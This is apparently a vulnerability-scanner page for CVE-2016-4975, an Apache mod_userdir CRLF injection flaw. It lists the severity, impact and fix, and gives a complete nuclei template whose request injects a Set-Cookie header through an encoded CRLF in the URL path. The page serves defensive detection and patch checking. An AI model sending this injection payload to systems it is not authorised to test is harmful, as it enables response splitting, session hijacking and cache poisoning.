Apache mod_userdir CRLF injection

mediumseverity

6.1CVSS score

19.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.

Impact

Successful exploitation of this vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and cache poisoning.

Fix

Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher.

How to confirm it

Send: GET {{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection
Positive when: matches in header /(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(…/

Run it with nuclei: nuclei -id CVE-2016-4975 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-4975

info:
  name: Apache mod_userdir CRLF injection
  author: melbadry9,nadino,xElkomy
  severity: medium
  description: Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.
  impact: |
    Successful exploitation of this vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and cache poisoning.
  remediation: Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher.
  reference:
    - https://httpd.apache.org/security/vulnerabilities_22.html#CVE-2016-4975
    - https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2016-4975
    - https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba@%3Ccvs.httpd.apache.org%3E
    - https://lists.apache.org/thread.html/84a3714f0878781f6ed84473d1a503d2cc382277e100450209231830@%3Ccvs.httpd.apache.org%3E
    - https://lists.apache.org/thread.html/8d63cb8e9100f28a99429b4328e4e7cebce861d5772ac9863ba2ae6f@%3Ccvs.httpd.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-4975
    cwe-id: CWE-93
    epss-score: 0.19882
    epss-percentile: 0.97444
    cpe: cpe:2.3:a:apache:http_server:2.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: http_server
    shodan-query:
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve2016,cve,crlf,apache,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'

References

Use this check only on systems you are authorised to test. Where the data comes from